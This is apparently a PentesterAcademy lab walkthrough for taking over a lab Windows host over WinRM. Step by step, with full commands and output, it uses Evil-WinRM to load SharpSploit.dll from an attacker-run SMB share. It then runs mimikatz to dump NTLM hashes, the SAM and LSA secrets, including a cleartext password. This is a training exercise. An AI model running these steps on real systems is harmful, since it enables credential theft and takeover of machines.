ATTACK DEFENSE

by PentesterAcademy

Name	WinRM: Evil-WinRM DLL Loader
URL	https://attackdefense.com/challengedetails?cid=2030
Type	Windows Exploitation: Services

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Step 1: Run an Nmap scan against the target IP.

Command: nmap --top-ports 65535 10.0.0.24

```
root@attackdefense:~# nmap --top-ports 65535 10.0.0.24
Starting Nmap 7.70 ( https://nmap.org ) at 2020-10-06 00:38 IST
Nmap scan report for ip-10-0-0-24.ap-southeast-1.compute.internal (10.0.0.24)
Host is up (0.0034s latency).
Not shown: 8293 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49159/tcp open  unknown
49168/tcp open  unknown
49169/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 15.44 seconds
root@attackdefense:~#
```

Step 2: We have discovered that winrm server is running on port 5985. By default WinRM service uses port 5985 for HTTP. We have the credentials to access the remote server, we will run the evil-winrm tool on the target machine to gain access.

Checking the help of the tool.

Command: evil-winrm.rb --help

```
root@attackdefense:~/Desktop/tools/scripts# evil-winrm.rb --help

Evil-WinRM shell v2.3

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ]
 [-k PRIVATE_KEY_PATH ] [-r REALM]
    -S, --ssl                        Enable ssl
    -c, --pub-key PUBLIC_KEY_PATH    Local path to public key certificate
    -k, --priv-key PRIVATE_KEY_PATH  Local path to private key certificate
    -r, --realm DOMAIN               Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM
= { kdc = fooserver.contoso.com }
    -s, --scripts PS_SCRIPTS_PATH    Powershell scripts local path
    -e, --executables EXES_PATH      C# executables local path
    -i, --ip IP                      Remote host IP or hostname. FQDN for Kerberos auth (required)
    -U, --url URL                    Remote url endpoint (default /wsman)
    -u, --user USER                  Username (required)
    -p, --password PASS              Password
    -H, --hash HASH                  NTHash
    -P, --port PORT                  Remote host port (default 5985)
    -V, --version                    Show version
    -n, --no-colors                  Disable colors
    -h, --help                       Display this help message

root@attackdefense:~/Desktop/tools/scripts#
```

We can notice the help is straight forward. If we want to use local powershell scripts or C# executable we need to specify the option for it and the path to the script or binary.

Connecting to the WinRM service using provided credentials i.e administrator:password_123

Command: evil-winrm.rb -u administrator -p password_123 -i 10.0.0.24

```
root@attackdefense:~# evil-winrm.rb -u administrator -p password_123 -i 10.0.0.24

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
win-1ajcout5v75\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We got the PSSession by Evil-WinRM tool. We can type the "**menu**" command to check the supported commands by the tool.

Command: menu

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> menu

   ,.   (   .      )               "             ,.   (   .      )       .
  ("  (  )  )'     ,'             (`     '`    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._".._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                             \/           \/       \/         \/
             By: CyberVaca, OscarAkaElvis, Laox @Hackplayers

[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We can perform multiple operations using this tool, i.e loading powershell scripts, running binary in memory, loading dll libraries in memory etc.

In this challenge, we are going to load the **SharpSploit.dll** on the target machine to dump the NTLM hash. The DLL is located on the attacker's machine '**/root/Desktop/tools/SharpSploit/SharpSploit.dll**'

"SharpSploit is a .NET post-exploitation library written in C# that aims to highlight the attack surface of .NET and make the use of offensive .NET easier for red teamers."

Source: https://github.com/cobbr/SharpSploit

Step 3: Run the Dll-Loader function and check the examples.

Command: Dll-Loader

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> Dll-Loader
.SYNOPSIS
    dll loader.
    PowerShell Function: Dll-Loader
    Author: H????ctor de Armas (3v4Si0N)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    .
.EXAMPLE
    Dll-Loader -smb -path \\192.168.139.132\\share\\myDll.dll
    Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll
    Dll-Loader -http -path http://example.com/myDll.dll

    Description
    -----------
    Function that loads an arbitrary dll

*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We can notice that there are three ways we can load the malicious DLL on the target machine. In this challenge we will be using smb server to serve and load the DLL.

Step 4: Running simple SMB server provided by impacket toolkit.

Command: smbserver.py -comment "DLL" -smb2support TMP /root/Desktop/tools/SharpSploit

```
root@attackdefense:~# smbserver.py -comment "DLL" -smb2support TMP /root/Desktop/tools/SharpSploit
Impacket v0.9.22.dev1+20200929.152157.fe642b24 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

The SMB server is up and running.

Step 5: Load the DLL in the memory by evil-winrm tool

Note: Make sure to check the attacker's machine IP address.

Command: Dll-Loader -smb -path \\10.10.0.2\tmp\SharpSploit.dll

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> Dll-Loader -smb -path \\10.10.0.2\tmp\SharpSploit.dll



*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

We have loaded the DLL successfully.

Step 5: Hit the **menu** again, and verify whether the SharpSploit is loaded successfully or not.

Command: menu
[SharpSploit. <tab> <tab>
y

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (`     '`    ("     )  )'     ,'    .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._".._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                             \/            \/       \/         \/
             By: CyberVaca, OscarAkaElvis, Laox @Hackplayers

[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary

*Evil-WinRM* PS C:\Users\Administrator\Documents> [SharpSploit.
Display all 585 possibilities? (y or n)
[SharpSploit.Credentials.Mimikatz]::All()
[SharpSploit.Credentials.Mimikatz]::Command()
[SharpSploit.Credentials.Mimikatz]::DCSync()
[SharpSploit.Credentials.Mimikatz]::LogonPasswords()
[SharpSploit.Credentials.Mimikatz]::LsaCache()
[SharpSploit.Credentials.Mimikatz]::LsaSecrets()
[SharpSploit.Credentials.Mimikatz]::PassTheHash()
```

We have successfully loaded the SharpSploit. Dump all the hashes of the target machine.

Step 7: Running mimikatz to dump all the hashes.

Command: [SharpSploit.Credentials.Mimikatz]::All()

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> [SharpSploit.Credentials.Mimikatz]::All()

  .#####.   mimikatz 2.2.0 (x64) #18362 Oct  8 2019 14:30:39
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # privilege::debug
Privilege '20' OK

mimikatz(powershell) # sekurlsa::logonPasswords
```

Administrator Hash.

```
Authentication Id : 0 ; 211922 (00000000:00033bd2)
Session           : Interactive from 1
User Name         : Administrator
Domain            : WIN-1AJCOUT5V75
Logon Server      : WIN-1AJCOUT5V75
Logon Time        : 10/5/2020 7:06:10 PM
SID               : S-1-5-21-516000335-1567227480-1357346156-500
        msv :
         [00010000] CredentialKeys
         * NTLM     : 652eecfc1adfb9f8851573640f35838e
         * SHA1     : 1b2f2b355b41d0f26c188766ef59a375fdde1080
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN-1AJCOUT5V75
         * NTLM     : 652eecfc1adfb9f8851573640f35838e
         * SHA1     : 1b2f2b355b41d0f26c188766ef59a375fdde1080
        tspkg :
        wdigest :
         * Username : Administrator
         * Domain   : WIN-1AJCOUT5V75
         * Password : (null)
        kerberos :
         * Username : Administrator
         * Domain   : WIN-1AJCOUT5V75
         * Password : (null)
```

Dumped Hashes

```
  .#####.   mimikatz 2.2.0 (x64) #18362 Oct  8 2019 14:30:39
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

572     {0;000003e7} 0 D 23710          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,20p)       Primar
 -> Impersonated !
 * Process Token : {0;00060b00} 0 D 396487      WIN-1AJCOUT5V75\Administrator   S-1-5-21-516000335-156
imary
 * Thread Token  : {0;000003e7} 0 D 430864      NT AUTHORITY\SYSTEM     S-1-5-18        (04g,20p)

mimikatz(powershell) # lsadump::sam
Domain : WIN-1AJCOUT5V75
SysKey : d3ab1ccee7e9e84ce7184b9e446bc48f
Local SID : S-1-5-21-516000335-1567227480-1357346156

SAMKey : b3d70c926439ac9ea0db34cdf5305dc9

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 652eecfc1adfb9f8851573640f35838e
```

Extracted LSA secrets

```
  .#####.   mimikatz 2.2.0 (x64) #18362 Oct  8 2019 14:30:39
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(powershell) # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM

572     {0;000003e7} 0 D 23710          NT AUTHORITY\SYSTEM     S-1-5-18        (04g,20p)       Primary
 -> Impersonated !
 * Process Token : {0;00060b00} 0 D 396487      WIN-1AJCOUT5V75\Administrator   S-1-5-21-516000335-1567227480-1357346156-500    (11g,23p)
 * Thread Token  : {0;000003e7} 0 D 443755      NT AUTHORITY\SYSTEM     S-1-5-18        (04g,20p)       Impersonation (Delegation)

mimikatz(powershell) # lsadump::secrets
Domain : WIN-1AJCOUT5V75
SysKey : d3ab1ccee7e9e84ce7184b9e446bc48f

Local name : WIN-1AJCOUT5V75 ( S-1-5-21-516000335-1567227480-1357346156 )
Domain name : WORKGROUP

Policy subsystem is : 1.12
LSA Key(s) : 1, default {2e891855-5baa-a0c3-1a2c-52aa90530940}
  [00] {2e891855-5baa-a0c3-1a2c-52aa90530940} cf82e66a5e0bdfb485fa814f7fa398432ba96c44ab83ab205969d0d7683d2566

Secret  : DefaultPassword
cur/text: password_123
old/text: ROOT#123
```

We have discovered the Administrator user NTLM hash

Administrator NTLM Hash: 652eecfc1adfb9f8851573640f35838e

References

1. Evil-WinRM (https://github.com/Hackplayers/evil-winrm)
2. Mimikatz (https://github.com/gentilkiwi/mimikatz)
3. Invoke-Mimikatz.ps1 (https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1)
4. SharpSploit (https://github.com/cobbr/SharpSploit)